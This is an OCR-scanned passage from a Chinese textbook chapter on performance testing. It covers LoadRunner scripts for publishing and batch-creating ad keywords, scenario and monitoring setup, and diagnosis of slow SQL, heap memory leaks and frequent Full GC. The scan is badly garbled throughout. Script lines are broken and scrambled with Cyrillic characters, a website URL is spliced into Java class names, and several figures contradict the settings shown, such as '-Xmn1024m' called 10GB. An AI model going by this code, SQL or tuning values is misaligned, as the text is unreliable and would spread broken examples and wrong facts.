tp: //pb.kspost.sogou.com/pb4lyb.gif? pvid-1403584300555 43964&t-14 
tp: // pb.kspost.sogou.com/ pb4lyb.gif? pvid-1403584300555 43964&t- 1403584386229&ui-110783-113731&name-locus&len-301&locus- 67532^853^429, 


"Url-ht 
"Url-ht 
LAST) ; 
lr 
return 0; 
} 
5. 发 布 广告 业务 脚本 


103584370266&av=7.0&an=msie”,， 


// EH PT 
035843850 


D "Referer-http: //uncle.app/report/common/init.action",  ENDITEM, 
69 &ui-110783-113731&name-click&x-58&y-21&src-A&bw-1137, 568&sc-2, 0, 0, 0, 0”, 
71963^1147^171, 


"Referer-http: 
72603^1150^11 


end transaction (“ЖА НИКЕ”, LR AUTO); 


上 面 几 个 脚本 中 有 对 数据 库 的 查 操作 、 数 据 库 的 插入 操作 以 及 数据 库 的 删除 操作 ， 还 剩 下 对 数据 的 修改 操作 没有 在 脚本 中 体现 了 。 广 告发 布 脚本 就 是 对 数据 库 的 修改 操作 ， 发 布 广告 就 是 修改 广告 词 的 


代码 清单 9-5 ”发 布 广告 业务 脚本 


Action О) 
{ 


т 


think ` 


time (2) ; 


lr start 
web submi! 


“дє 


tion-h 


"Method-POST", 


WT 


RecCon 


"TargetFrame-", 


tentType 


“Веі 


NX, 


Ferer-h 
Snapsho 


"Mode-HTML", 


T 


"Name-checkStatus", 
"Name-searchinvalid", 
"Name-cpcDto.ispause", 


LAST) 


lr end t 
0; 


reu 


) 


urn 


EMDATA, 
"Name-keyIdArr", 


t84.inf", 


text/Javascript", 
tp: //uncle.app/cpcadindex/init.action? t-1&http request head menu param-2, 0", 


transaction (“15207 ti"; 
t data (C 'modikeyispause.action 4", 
ttp: //uncle.app/manage/modikeyispause.action? t-1$&t-1387961138935", 


状态 ， 将 “未 发 布 ” 状 态 修改 为 “发 布 ” 状 态 ， 如 代码 清单 9-5 所 示 。 由 于 一 个 广告 词 只 能 修改 一 次 状态 ， 所 以 脚本 里 要 对 广告 词 进行 参数 化 。 该 脚本 依赖 登录 操作 ， 以 确定 发 布 哪个 账户 的 广告 ， 在 这 里 省 
去 init 的 登录 部 分 操作 。 


词 ， 否 则 发 布 失败 */ 


9 


"Value-(cpc)", ENDITEM. /* 参 数 化 广告 词 ， 这 些 词 必须 都 为 状态 为 0 的 
"Value-1", ENDITEM, ”// 状 态 修 改 
“Value=0”, ENDITEM, 
"Value-1", ENDITEM, 


ransaction (\ 发 布 20 广 告 词 “，LR_AUTO) ; 


6. 广 告 词 批量 创建 业务 脚本 


告 词 的 创建 是 操作 比较 频繁 的 业务 ， 
建 广告 词 的 脚本 ， 为 了 避免 广告 


代码 清单 9-6 ”批量 创建 广 


词 的 重复 ， 


告 词 业务 脚本 


因为 每 个 用 户 都 需要 发 布 广告 


词 才能 


让 自己 的 新 广告 上 线 。 广 告 词 批量 创建 是 默认 创建 的 升级 ， 为 了 避免 脚本 的 重复 展示 ， 小 白 在 代码 清单 9-6 中 直接 展示 批量 创 
需要 对 广告 词 进行 参数 化 。 该 脚本 依赖 登录 操作 ， 以 确定 发 布 的 广告 词 属于 哪个 账户 ， 在 这 里 省 去 init 的 登录 部 分 操作 。 


Action () 
{ 


lr 


think time (2); 


Lp 
web 


"Ac 


"Method-POST", 


start transaction С“ ТЖЕ Bri") ; 
| submit data ("createCpc.action", 
tion-http: //uncle.app.sogou.com/cpcpub/plan/createCpc.action? t-134344341123332", 


"RecContentType-text/Javascript", 
"Referer-http: Jb app.sogou.com/cpcadindex/init.action? http request head menu param-2, 0", 
"Snapshot-t174.i 
"Mode-HTTF", 
TEMDATA, 
"Name-CpcDto.cpcName",  "Value-UncleANtestl(NewParam]",  ENDITEM, 
АГАЕ, 保证 批量 创建 的 广告 词 不 重复 */ 
"Name-CpcDto.isUseAccountRegion",  "Value-1", ENDITEM， 
"Name-CpcDto.region", "Value-0111111111111111111111111111111100",  ENDITEM, 
"Name-CpcDto.isUnionShow",  "Value-1^", DITEM, 
"Name-CpcStatus", "Value-1", ENDITEM， 
"Name-CpcSearchinvalid",  "Value-0",  ENDITEM, 
"Name-cpcDto.ispause",  "Value-1",  ENDITEM, 
"Name-CpcDto.cpcName",  "Value-UncleANtest2(NewParam]",  ENDITEM, 
// 对 广告 词 进行 参数 化 
"Name-CpcDto.isUseAccountRegion",  "Value-1",  ENDITEM, 
"Name-CpcDto.region", "Value-0111111111111111111111111111111100",  ENDITEM, 
"Name-CpcDto.isUnionShow",  "Value-1",  ENDITEM, 
"Name-CpcStatus", "Value-1", ENDITEM， 
ES -CpeSearchinvalid", "Value-0",  ENDITEM, 
ame-cpcDto.ispause",  "Value-1", ЕМРІТЕМ, 
JIER S FPR iñ AN, 在 这 里 不 重复 体现 
"Name-CpcDto.cpcName", "Value=UncleANtest50(NewParam)”, ЕМРІТЕМ, 
// 对 广告 名 进行 参数 化 ， 保 证 批量 创建 的 广告 词 不 重复 
"Name-CpcDto.isUseAccountRegion",  "Value-1",  ENDITEM, 
"Name-CpcDto.region", "Value-0111111111111111111111111111111100",  ENDITEM, 
"Name-CpcDto.isUnionShow",  "Value-1", ЕМРІТЕМ, 
"Name-CpcStatus",  "Value-1", ENDITEM， 
"Name-CpcSearchinvalid",  "Value-0",  ENDITEM, 
"Name-cpcDto.ispause",  "Value-1", ENDITEM, 


LAST) ; 


lr end transaction CHEE f”, LR AUTO); 


7 广告 


本 次 的 


130 万 条 的 数据 。 待 审 


审核 表 的 数据 在 这 里 无 须 单独 制造 ， 因 为 在 广告 


审核 业务 脚本 


审核 业务 是 由 系统 启动 审核 


脚本 全 部 开发 和 优化 完毕 后 ， 混 合 场景 


程序 进行 的 ， 所 以 不 需 


按照 9.3.3 节 中 的 场景 组 合并 分 配 好 测试 数据 即 可 ， 稳 定性 能 


进行 脚本 开发 。 开 发 人 员 将 
文系 统 重新 启动 后 ， 所 有 审核 数据 需要 在 600s 内 审核 完成 ， 从 而 


告 审核 的 功能 纳入 本 次 性 
“会 造成 系统 审核 数据 的 积压 


词 创建 时 不 需要 启动 审核 程序 ， 就 能 制造 大 量 的 未 审核 广告 数据 。 


测试 场景 也 就 是 | 


HA 
#® а 


9.11 性 能 测试 执行 与 监控 
完成 脚本 编写 并 调试 成 功 后 ， 要 运行 场景 ， 这 里 需要 完成 两 步 : 第 一 步 ， 设 置 场景 第 二 步 ， 设 置 监控 指标 并 做 好 监控 准备 工作 。 完 成 这 两 步 后 才能 运行 性 
9111 场景 设置 


在 设置 性 能 测试 场景 之 前 ， 首 先 要 设置 “Run-time Settings" 


1) 思考 时 间 设 置 : 


思考 时 间 可 按照 “Pacing” 


2) 日 志 设 置 : 日 志 一 般 采 用 “Standard log" 


3) 线程 /进程 设置 : 可 设置 并 发 时 是 用 多 线程 ， 还 是 


4) 网 络 带 宽 设置 : 如 果 有 了 网络 带 宽 要 求 (如 以 前 的 通 


5) 浏览 器 缓存 设置 : 可 以 设置 浏览 


能 缓存 哪些 


By "Think Time” 进 行 设 置 。 一 


日 志 级 


级 别 。 


多 进程 模拟 并 发 。 如 果 没 有 特别 


言行 业 ) ， 融 可 以 采用 固定 市 宽 进 


， 还 可 以 设置 为 每 次 清理 缓存 信息 。 


役 思考 时 间 是 需要 开启 的 ， 采 用 “Think Time" 


旨 明 要 进程 模式 并 发 ， 则 一 般 3 


采用 线程 方式 并 发 。 


测试 场景 的 原因 是 担心 如 果 审 核 系 统 突然 挂 掉 24 小 时 后 ， 审 核 表 会 累积 


场景 执行 时 间 调 长 为 2x24 小 时 。 


， 以 保证 脚本 按照 预期 设 定 进行 。Run-time Settings 的 设置 主要 包括 以 下 几 点 。 


进行 设置 ， 基 本 设置 为 2s。 


行 模拟 ， 如 果 没 有 特殊 要 求 ， 采 用 最 大 带宽 即 可 。 


达 


"Run-time Settings” 设 置 完成 之 后 ， 即 可 进行 场景 设置 ， 场 景 设 置 如 图 9-64 所 示 。 采 用 慢 加 压 的 方式 ， 慢 加 压 的 目的 一 是 让 系统 预 热 ， 另 一 方面 是 更 加 准确 地 定位 系统 出 问题 时 的 并 发 数 。 


Global Schedule 


设置 完 场 景 之 后 ， 即 可 对 场景 进 


Stop Vusersz 


Total: 


120 Vusersz 


Start 120 Vuser 


r 00:00:01 


(HH: MM: SE) 


Run for 00:15:00 (НН:ММ:55) 


Stop all Vusers simultaneously 


图 9-64  Loadrunneri& £j iX É 


行 性 能 测试 ， 在 这 里 有 如 下 一 些 技巧 。 


1) 单 场景 测试 时 间 ， 基 本 默认 为 15 分 钟 即 可 ，15 分 钟 基本 可 以 测试 出 单 场景 的 性 能 数据 ， 如 果 需 要 长 时 间 的 稳定 性 测试 ， 则 稳定 性 测试 时 间 可 以 根据 要 求 延长 。 


2) 在 性 能 测试 过 程 中 ， 如 果 对 脚本 或 者 运行 时 设置 进行 了 修改 ， 只 需要 选择 测试 脚本 ， 然 后 刷新 测试 脚本 或 者 运行 时 设置 即 可 ， 如 图 9-65 所 示 。 


Scenario Groups | en Eee 
| 2 m š ER =. = | 7 [Wee BE: gru > жир | Т Adranca d 
| [шир Маге | 5icnpl Peth цап}. Load Benensbors * | €——————— EE T |||DOIIYYI W 
EA zig sors: B E E t locahost | (Serca Level Agaement | 


Curanty no SLA, rules aie defined [nr the load leri. 
| | ТСЕ Һе Мек bition to dehne SLA cke far yor load lez. 


bíreup Intermntion ES 


Group Hame ЕЙЕЛ ҮЙ 
4 Load Generator Hame: [chest "| 


Шеп Schedul БЕЙ 
i x Ба б Pare: ALEE HH ЇЇ 
Schedule Hame: [Ech pot E: ur dlc esr HH ir 


" Туе: Ми+ПГы/ en 到 Мены Бепрї.. | 
DER NS ЕР ате бейге || Saint 


Run Моје i F Euniine Setitnzs | = des poe E 
-一 .一 一 - т 一 一 Schedule 


Interactive Schedule Graph 


Glnbal Schedule 
FP go a Ф $ | | Таш: 12D Vusars | 100 
| Achion | Fiopeities n BU 
|Initialira Initializa each Бәк just bafora it rums m 
L ІНН: NE: 551] 3 9) 
lur ation Eun fer 00:15:00 [НН:ЙИ: SS) 4D 


Stap Үпшег= Siop all Yosers zinultanrouzly 


* 
' ! ! | | 
00:00:00 00:02 00 20 24-00 00-08 00 00:08:00 00:40 420 00:12:70 00:14 00 Doa 18:00 
00:01:00 00:0300 0005:00 00:07:00 0003:30 00: 11:00 20:13:00 00:15:00 
Time 


图 9-65 “Loadtunnet 脚 本 /运行 时 刷新 


3) 进行 性 能 测试 时 ， 一 般 会 对 同一 场景 进行 不 同 并 发 用 户 的 测试 ， 这 时 不 需要 在 每 次 设置 不 同 并 发 的 时 候 启 停 服务 。 只 需要 在 脚本 运行 过 程 中 ,在 “Controller” 的 “Run” 视 图 中 选择 “Vusers”， 
在 该 Vusers 视 图 中 对 用 户 进 行 增加 或 者 停止 操作 ， 以 控制 性 能 测试 场景 中 的 并 发 用 户 数 ， 如 图 9-66 所 示 。 
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图 9-66 ”Loadrunner Vusers 视 图 


9.11.2 ”监控 设置 


在 运行 场景 之 前 ， 需 要 对 被 测 系统 的 各 个 维度 以 及 响应 时 间 进 行 监控 ， 因 为 监控 数据 是 一 切 分 析 的 基础 ， 如 果 没 有 监控 ， 就 没有 分 析 的 依据 。 
1) Linux 操 作 系统 ， 用 top、sar 等 命令 进行 监控 ， 监 控 方 法 以 及 具体 指标 参考 9.5.3 节 。 

2) 数据 库 用 MySQLMTOP 进 行 监 控 ， 并 结合 慢 查 询 日 志 进 行 分 析 ， 具 体 监控 方法 以 及 指标 参考 9.5.5 节 。 

3) VM 监控 采用 jvisualvm 以 及 结合 JDK 命 令 行 工具 进行 监控 ,具体 的 监控 以 及 指标 参考 9.5.7 节 。 

4) Tomcat 采 用 Lambda Probe 进 行 监控 ， 具 体 监控 方法 以 及 指标 见 9.5.6 节 。 


5) Loadrunner 需 要 监控 事务 的 响应 时 间 以 及 TPS 指 标 。 


9.11.3 ”项 目 性 能 问题 的 发 现 、 定 位 与 分 析 


监控 完整 个 数据 流 后 ， 小 白 开 始 执行 性 能 测试 场景 ， 场 景 的 执行 以 及 场景 指标 值 的 监控 不 再 重复 介绍 ， 下 面 主要 记录 小 白 在 本 次 性 能 测试 过 程 中 发 现 的 比较 严重 的 性 能 问题 。 
1. 由 SQL 导致 的 性 能 问题 


在 做 性 能 测试 时 ， 有 一 部 分 性 能 问题 是 由 SQL 语句 性 能 造成 的 ， 小 白 在 项 目 中 就 碰 到 不 少 SQL 问 题 。 


(1) 索引 失效 导致 性 能 问题 


在 实施 报告 查询 业务 时 ， 小 白 发 现 账户 报告 响应 时 间 特 别 长 ， 平 均 响 应 时 间 基 本 超过 30s， 这 是 不 能 接受 的 ， 如 图 9-67 所 示 。 


事务 名 称 SLA Status ] 平均 值 ip A lË H: 90 Percent 


Action Transaction | 1.1 114. 114 134. 361 E 152. 544 


© 0 0.001 0 
vuser init Transaction є 34. 366 140. 249 . 684 85. 318 
AERA © 4T. 091 135. 924 | 83.57 
© 
© 


[КРАЕ Е—Е {ЕН 34. 038 123. 805 8 67.451 
| PESE, 32.814 94. 334 221 81.371 


图 9-67 账户 报告 响应 时 间 
通过 监控 ， 小 白 发 现 应 用 服务 器 的 CPU 消耗 基本 维持 在 20% 左 右 ， 不 存在 应 用 服务 器 的 性 能 瓶颈 ， 但 是 数据 库 服务 器 CPU 和 内 存 消 耗 很 大 ， 数 据 库 服务 器 的 CPU 使 用 率 达 到 了 899， 小 白 怀 疑 是 慢 查 询 
SQL 导致 。 他 用 Jprofiler 进 行 监 控 的 时 候 ， 也 发 现 CPU 热 点 消耗 在 SQL 语句 上 ， 如 图 9-68 所 示 。 
Thread selection: | All thread groups | Thread status (mm Runnable 
Aggregation level: ‘Methods | Filtered dasses: Show separately 
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EA sun.misc.Unsafe.park N 55 (03%) 
i E (ш) m. 92,995 - 143 s java.util.concurrent.locks.LockSupport.park 
' EP шшш 92,9% - 143 s java.util.concurrent.locks. AbstractQueuedSynchronizer $ConditionObject await 
SD mm 92,9% - 143 s java.util.concurrent.LinkedBlockingQueue. take 
E [m E 52,95% - 143 5 java.util.concurrent. ThreadPoolExecutor .getTask 
E- к= 92,9% - 143 s java.util.concurrent. ThreadPoolExecutor $Worker run 
Au) mE 02,025 - 143 s java.lang.Thread.run 
H- е 0,2% - 253 ms java.util.concurrent.locks.LockSupport.parkNanos 
java.lang.5vstem.identityHashCode Ш 6.139 ms (3 %) 
java.util.HashMap.put 352 ms (0 %) 
java.util.concurrent.locks.LockSupport.parkNanos 247 ms (0 5%) 
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图 9-68  JProfiler zz 4: CPU i; F] 28 


于 是 小 白 查看 MySQl 数据库 的 慢 查 询 日 志 ， 发 现 数 有 一 条 SQL 执行 效率 特别 慢 ， 时 间 耗 费 了 32s 左 右 ， 该 SQL 语句 如 下 。 


select count (distinct ideaid) from cpcideaauditlog where checkstatus in (1, 2) and type in (0, 1, 2, 3, 5) and date (createdate) =\2013-10-25/; 
lect IDEAID, max (auditlogid) as LOGID from cpcideaauditlog where checkstatus in (1, 2) and type in (0, 1, 2, 3, 5) and date (createdate) -'2013-10-25' GROUP BY ideaid lim 
select * from cpcideaauditlog where date (createdate) -'2013-05-31'; 
t checkstatcpcideaauditlog where date (createdate) -'2013-05-31' group by checkstatus; 


上 面 这 条 语句 禁止 在 索引 列 上 做 函数 运算 ， 使 索引 失效 ， 造 成 扫描 全 表 ， 如 果 再 加 大 并 发 ， 就 有 可 能 让 服务 器 挂 掉 。 小 白 针对 这 条 SQL 语句 由 于 做 函数 计算 导致 索引 失效 做 了 SQL 优化 。 


优化 建议 : select count (distinct ideaid) from cpcideaauditlog where createdate »'2013- 10-24' and createdate« 2013-10-26' and checkstatus us, count (*) from in (1, 2) and type 
优化 之 后 ， 重 新 运行 该 性 能 测试 场景 ， 发 现 数据 库 服务 器 的 CPU 使 用 率 降 低 到 18% 左 右 ， 查 询 的 响应 时 间 也 降低 到 了 5s 内 。 


(2) 添加 索引 优化 SQL 性 能 


小 白 在 测试 审核 场景 性 能 时 ， 也 发 现 审核 的 性 能 比较 慢 ， 观 察 应 用 服务 器 监控 数据 发 现 没 问 题 后 ， 最 终 的 性 能 问题 仍然 指向 了 数据 库 。 从 图 9-69 中 的 查询 日 志 可 以 看 出 ， 有 两 条 SQL 语句 的 执行 耗 时 特 


ANGEAFTERE AREI НАМ SERE EFOREUR CHANGEAFTERLRE , NEEDALIDITREASON., 
IERE L.CREATEEB WE — DATE FORM z -Qü-12 ÜQ:00:00 , YT- ND 


19-69 1820801. 


获取 到 慢 查 询 SQL 后 ， 分 析 慢 查询 SQL 的 执行 计划 ， 发 现 “CREATEDATE” 列 没有 走 索 引 ， 导 致 执行 计划 耗 时 较 长 ， 如 图 9-70 所 示 。 
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j rows in set [1.08 sec) 


图 9-70 SQL 未 加 索引 执行 计划 


针对 这 条 SQL 语 句 的 性 能 瓶颈 ， 小 白 建 议 DBA 在 “CREATEDATE” 加 上 单列 索引 ， 加 上 单列 索引 后 ， 再 查询 该 SQL 语 句 的 执行 计划 ， 如 图 9-71 所 示 。 


2. 内 1 


内 存 溢 出 是 性 能 测试 过 程 中 需要 重点 关注 的 性 能 问题 ， 如 果 有 内 存 泄露 问题 或 者 迹象 ， 则 需要 性 能 测试 人 员 在 性 能 测试 过 程 中 提前 发 现 ， 不 然 线 上 发 生 就 是 大 的 性 能 事故 ， 这 也 是 为 什么 性 能 测试 人 员 
在 场景 设计 时 需要 考虑 稳定 性 场景 的 原因 之 一 。 


inc stri 
FROM 


f EE 
„= ica ein ma, 
i Ne тарь 


机 


3 rows in set (0.00 sec) 


图 9-71 SQL 加 上 索引 执行 计划 
(1) 常见 的 内 存 溢出 类 型 
Java 应 用 程序 内 人 存 溢 出 最 常见 的 是 持久 代 溢 出 、 堆 溢出 和 栈 溢 出 3 种 ， 下 面 进行 介绍 
1) А16 (Java.lang.OutOfMemoryErrorPermGen space) 。 


PermGen space 的 全 称 是 permanent generation space， 是 指 内 存 的 永久 保存 区 域 ， 这 块 内 存 主要 用 于 JVM 存 放 Class 和 Meta 信 息 ，Class 在 被 Loader 时 就 会 被 放 到 PermGen space 中 ， 它 和 存放 类 
实例 (Instance) 的 Heap 区 域 不 同 ，GC (Garbage Collection) 不 会 在 主 程序 运行 期 对 PermGen space 进 行 清理 ， 所 以 如 果 应 用 中 有 很 CLASS， 就 很 可 能 出 现 PermGen space 错 误 ， 这 种 错误 常见 在 
Web 服 务 器 对 JSP 进 行 pre compile 的 时 候 。 如 果 Web App 下 都 用 了 大 量 的 第 三 方 jar， 其 大 小 超过 了 持久 代 代 销 ， 就 会 产生 此 错误 信息 。 


2) М Н (Java.lang.OutOfMemoryErrorJava heap space) 。 
在 JVM 内 存 中 ， 堆 中 的 内 存 用 来 生成 对 象 实例 和 数组 。 


如 果 细 分 ， 堆 内 存 还 可 以 分 为 年 轻 代 和 年 者 代 ， 年 轻 代 包括 一 个 Eden 区 和 两 个 Survivor 区 。 在 9.8 中 介绍 了 堆 内 存 分 配 以 及 回收 过 程 ， 当 Old 区 内 存 不 足 时 会 产生 Java.lang.OutOfMemoryErrorJava 
heap space 错 误 。 具 体内 容 可 以 参考 9.8 节 。 


3) 栈 浇 出 (Java.lang.StackOverflowError) 。 


Java.lang.Stack OverflowError 这 种 错误 属于 栈 溢出 ，JVM 依 然 是 采用 栈 式 的 虚拟 机 ， 这 和 C 和 Pascal 相 同 。 函 数 的 调用 过 程 都 体现 在 栈 和 退 栈 上 了 。 调 用 构造 函数 的 “ 层 ” 太 多 了 ， 以 至 于 把 栈 区 溢 
出 了 。 通 常 来 讲 ， 一 般 栈 区 远 远 小 于 堆 区 ， 因 为 函数 调用 过 程 往 往 不 会 多 于 上 和 干 层 ， 即 便 每 个 函数 调用 需要 1KB 的 空间 (这 大 约 相当 于 在 一 个 C 函 数 内 声明 了 256 个 int 类 型 的 变量 ) ， 栈 区 也 不 过 是 需要 1MB 
的 空间 。 通 常 栈 的 大 小 为 1~2MB。 递归 也 不 要 过 多 的 层次 ， 否 则 很 容易 溢出 。 


(2) 堆 内 存 溢出 导致 的 性 能 问题 


小 日 在 做 该 项 目 过 程 中 ， 也 发 现 过 内 存 港 圳 问题 。 在 做 广告 报告 查询 场景 时 ， 在 并 发 的 时 候 ， 发 现 用 JisualVM 监 控 的 VM 内 存 图 中 ，JVM 内 存 不 释放 ， 在 图 中 内 存 持续 走高 ， 如 图 9-72 所 示 。 
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图 9-72 JVM 内 存 不 释放 


堆 内 存 满 之 后 ， 小 白 在 应 用 日 志 里 看 到 了 内 存 溢出 的 错误 日 志 “Java.lang.OutOfMemoryError:Java heap space”。 至 此 发 现 了 内 存 泄露 问题 ， 但 是 作为 性 能 测试 工程 师 ， 不 仅仅 是 发 现 问题 ， 还 找 
到 问题 所 在 。 


小 白 用 mp-histo 命 令 dump 了 如 下 的 堆 内 存 快照 信息 。 


num #іпѕбапсеѕ #bytes class name 

1 20295524 487092576  com.app.bizdevhttp://www.hzcourse.com/resource/readBook?path-/openresources/teach ebook/uncompressed/15052/OEBPS/Text/..cpc.showkeylist.Command 
2 18992 207335880 [LJava.lang.Object; 

З 18915 19301448 [І 

4 123088 12103480 [С 

5 92371 11684512 [B 

6 45604 6867712  «constMethodKlass» 

7 45604 5482944  «methodKlass» 

8 4001 4564296 «constantPoolKlass» 

9: 111074 4442960 Java.lang.String 
10: 69429 3949736  «symbolKlass» 

1 4001 3001200 «instanceKlassKlass» 

2 3430 2773440 «constantPoolCacheKlass» 

3 46951 2629256 Java.nio.HeapCharBuffer 

4 46708 2615648  Java.nio.HeapByteBuffer 

5 14112 2472592  [LJava.util.HashMapSEntry; 

6 20900 1170400 Java.util.HashMapS$ValueIterator 


在 dump 的 堆 内 存 快照 中 ， 被 系统 调用 得 最 多 、 占 据 堆 内 存 最 大 的 方法 是 “com.app.bizdevhttp://www.hzcourse.com/resource/readBook? 
path=/openresources/teach ebook/uncompressed/15052/OEBPS/Text/..cpc.showkeylist.Command”， 该 方式 正好 是 Uncle AP 项 目 中 查询 广告 报告 功能 所 用 到 的 方法 ， 至 此 基本 定位 了 
是 "com.app.bizdevhttp://www.hzcourse.com/resource/readBook?pathz /openresources/teach ebook/uncompressed/15052/OEBPS/Text/..cpc.showkeylist.Command” 导 致 了 本 次 内 存 泄 
露 ， 查 看 源 代码 ， 也 证 实 了 在 开发 人 员 在 调用 完 该 方法 后 ， 没 有 及 时 将 该 方法 置 为 NULL， 造 成 了 对 象 回收 不 及 时 ， 最 终 导致 堆 内 存 溢 出 错误 。 


内 存 泄露 分 析 的 方法 有 很 多 ， 除 了 上 面 用 的 Imp-histo 命 令 定 位 外 ， 还 可 以 用 JProfiler 或 者 MAT 等 工具 对 堆 内 人 存 进 行 分 析 。 在 另外 一 个 广告 新 建 的 场景 里 也 发 现 了 内 存 溢出 问题 。 例 如 图 9-73 就 是 小 白 
使 用 JProfiler 监 控 的 内 存 使 用 情况 ， 从 图 9-74 中 可 以 看 到 ，“com.app.bizdevhttp://www.hzcourse.comy/resource/readBook? 
path=/openresources/teach ebook/uncompressed/15052/OEBPS/Text/..cpc.*****.Command” 方法 占用 了 过 多 的 内 存 ， 用 JProfiler 工 具 执 行 手 动 的 Full GC, 5 
现 “com.app.bizdevhttp://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15052/OEBPS/Text/..cpc.*****.Command” 占 用 的 堆 内 存 仍 然 不 释放 ， 这 
里 同样 可 以 用 JProfiler 定 位 是 “com.app.bizdevhttp://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15052/OEBPS/Text/..cpc.*****.Command" 75 
法 导致 广告 新 建 场景 的 内 存 溢出 。 
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java.nin. HeapByteBuffer D E ,603,53.° 255 ИВ 
Bel E mi - BS 
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java.util. concurrent. LinkedBlockingQueue$ Mode C E ll 87,176 kB 
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java.nia. Heap icharBuffer | 24,213 1,135 kB 
java.lang. Class 1,766 711 kB 
char[ ] 4,z03 282 kB 
shart[ ] 2 200 150 kB 
java. util. HashMap$ Entri ] 1,472 114 kB 
java.lang.String 4,454 1035 kB 
java. util. HashMap ЕЕЕ 53,720 bytes 
java.lang.Gbject[ ] 641 25,508 bytes 
java. util. HashMapt$values 1,140 18,240 bytes 
java.lang.ref.WeakFEeference 413 9,912 bytes 
java. util. concurrent. ConcurrentHashM ap$ segment 304 S. r28 bytes 
java. beans Метћодбеѕсгіртог 201 3,648 bytes 
сот. sun. orng. apache. xerces internal. impl. dw xs. XSsimpleTwvpebDercl 50 3,600 bytes 
java.lang.string[ ] 354 3,336 bytes 
java.lang.ref.SoftReference 29] 9,212 bytes 
java иШ. concurrent. locks. ReentrantLack$ Manfairsymnc 313 Z, 12 bytes 
java. util. HashMap$ Entry 296, г.104 bytes 
java. util. Hashtable$ Entry 295 7 080 bytes 
Jawa util. LinkedHashM agt entry 221 ra bvtes 
java.lang.reflect. Method 8 7 6,960 bytes 
Jawa util. дугах ist 251 6,2564 bytes 
Jawa. util.LinkedHashMap 125 6,000 bytes 
java. util. concurrent. CancurrentHashM арф HashEntr ] 504 5,416 bytes 
java.lang.reflect. Canstructar al 5,184 bytes 
jawa util. HashiMap$ EntrySet 266 4 256 bytes 
java.lang.Irteger 265 4,240 bytes 
java. lang. Long 260 4.160 bytes; 
Тата: 225.444.5765 646 MR | 


图 9-73 ”使 用 JPtofiler 定 位 内 存 溢出 


因 分 析 : 对 该 场景 的 性 能 重新 压 测 ， 发 现 当前 系统 的 性 能 只 能 支撑 到 每 秒 处 理 120 个 请 求 左右 ， 而 场景 是 按照 每 秒 300 的 请 求 发 送 的 ， 这 时 候 系统 肯定 无 法 处 理 ， 导 致 消息 堆积 ， 而 Java 垃 圾 回收 期 认 
为 这 些 都 是 有 用 的 对 象 ， 导 致 内 存 堆 积 ， 直 至 系统 崩溃 。 


解决 方案 : 其 中 与 Notify 的 通信 方式 改 为 同步 方式 ， 保 证 系统 不 会 堆积 请 求 消息 ， 有 多 少 消息 就 处 理 多 少 消息 ， 这 样 内 存 泄露 的 问题 才 会 根本 解决 。 但 是 从 异步 改 成 同步 性 能 会 下 降 ， 从 预期 的 每 秒 处 
理 300 请 求 下 降 到 了 每 秒 最 多 只 能 处 理 200 请 求 。 为 了 达到 预期 的 性 能 指标 ， 只 能 通过 加 2 人 台 应 用 服务 器 增加 系统 的 处 理 能 力 ， 从 而 满足 既定 系统 性 能 要 求 。 


(3) 堆 内 存 设置 不 合理 导致 Full GC 频繁 


在 测试 过 程 中 ， 做 稳定 性 测试 不 仅仅 是 为 了 测试 长 时 间 的 性 能 测试 是 否 会 有 内 存 泄露 现象 以 及 测试 服务 的 平均 无 故障 时 间 ， 还 需要 关注 JVM 的 GC 是 否 合理 。 小 白 在 进行 稳定 性 测试 过 程 中 ， 就 发 现 过 一 
次 由 于 堆 内 存 设置 不 合理 导致 的 Full GC 频繁 现象 ， 如 图 9-74 所 示 。 


从 图 9-75 中 可 以 看 出 ， 哪 怕 为 应 用 程序 再 分 配 40GB 的 内 存 ， 在 2 小 时 内 也 发 生 了 2 次 Full СС, 平均 1 小 时 一 次 ， 这 样 的 Full GC 频率 是 不 能 接受 的 ， 因 为 每 次 的 Full CC 都 会 导致 系统 CPU 激增 ， 同 时 在 
GC 时 应 用 程序 的 线程 是 暂停 的 ， 所 以 也 会 导致 用 户 操作 的 响应 时 间 变 长 ， 用 户 等 待 时 间 变 长 。 
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图 9-74 JVM Full GC 频繁 


小 白 在 发 现 这 个 问题 之 前 ， 首 先 怀 疑 是 内 存 申请 太 频 繁 ， 与 开发 人 员 沟通 之 后 发 现 确实 每 次 查询 都 要 把 从 数据 库 取 来 的 数据 放 到 本 地 内 存 ， 导 致 内 存 申 请 很 频繁 ， 但 是 由 于 业务 逻辑 就 是 这 样 ， 所 以 就 
从 堆 内 存 的 设置 着 手 分 析 。 


该 项 目 堆 内 存 设 置 为 "-Xmn1024m-Xms40960m-Xmx40960Mm-XX:PermSize=512m-XX:MaxPermSize=512m-XX:+UseConcMarkSweepGC-XX:CMSFullGCsBeforeCompaction=5-Xss1m"。 
年 轻 代 这 里 设置 为 10GB， 开 发 人 员 设 置 为 10GB 的 理由 是 SUN 官 方 建议 年 轻 代为 整个 堆 内 存 的 3/8 左 右 。 


小 白 分 析 因 为 该 项 目 采 用 spring+hibernate 框 如， 所 以 查询 操作 对 象 的 整个 生存 周期 非常 短暂 ， 不 会 有 比较 大 的 年 龄 代 。 针 对 这 一 特性 ， 小 白 决 定 增加 年 代 带 大 小 ， 让 查询 操作 申请 的 堆 对 象 尽 可 能 
在 年 轻 代 里 存活 ,减少 因 为 年 轻 代 太 小 ， 导 致 新 申请 的 对 象 放 不 进去 频繁 导致 Yong GC， 从 而 加 速 堆 对 象 进入 老年 代 的 现象 。 


小 白 将 重新 修改 的 堆 内 存 设置 为 "-Xmn2048m-Xms40960m-Xmx40960Mm-XX:PermSize=512m-XX:MaxPermSize=512m-XX:+UseConcMarkSweepGC-XX:CMSFullGCsBeforeCompac- 
tion=5-Xss1m"。 将 年 轻 代 内 存 设置 为 20GB， 表 观察 测试 ， 发 现 Full GC 的 频率 由 之 前 的 1 小 时 1 次 变 为 18 小 时 1 次 。 在 Full GC 间隔 时 间 延 长 的 前 提 下 ， 也 关注 了 Yong gc 的 时 间 ， 发 现在 设置 20GB 大 小 的 
年 轻 代 情 况 下 ，Yong GC 的 时 间 最 大 为 500ms， 基 本 是 可 以 接受 的 ， 这 样 在 增加 年 轻 代 大 小 ， 但 没有 明显 增加 Yong GC 时 间 的 前 提 下 ， 延 长 了 Full GC 的 间隔 时 间 ， 增 大 年 轻 代 大 小 ， 优 化 应 用 程序 ， 使 性 
能 达到 了 预期 目标 。 


(4) 栈 溢 出 导致 的 性 能 问题 
